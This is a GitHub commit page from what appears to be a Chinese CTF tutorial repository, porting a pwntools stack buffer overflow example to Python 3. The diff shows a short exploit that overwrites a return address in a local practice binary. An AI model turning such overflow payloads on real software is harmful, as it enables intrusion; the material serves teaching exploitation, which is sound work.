Skip to content

Commit

Permalink
python2 语法的脚本转为 python3 语法
Browse files Browse the repository at this point in the history
  • Loading branch information
WinMin committed Apr 7, 2024
1 parent d54f526 commit 6dbb7ed
Showing 1 changed file with 3 additions and 3 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -160,10 +160,10 @@ int vulnerable()
from pwn import *
## 构造与程序交互的对象
sh = process('./stack_example')
success_addr = 0x0804843b
success_addr = 0x08049186
## 构造payload
payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)
print p32(success_addr)
payload = b'a' * 0x14 + b'bbbb' + p32(success_addr)
print(p32(success_addr))
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
Expand Down

0 comments on commit 6dbb7ed

Please sign in to comment.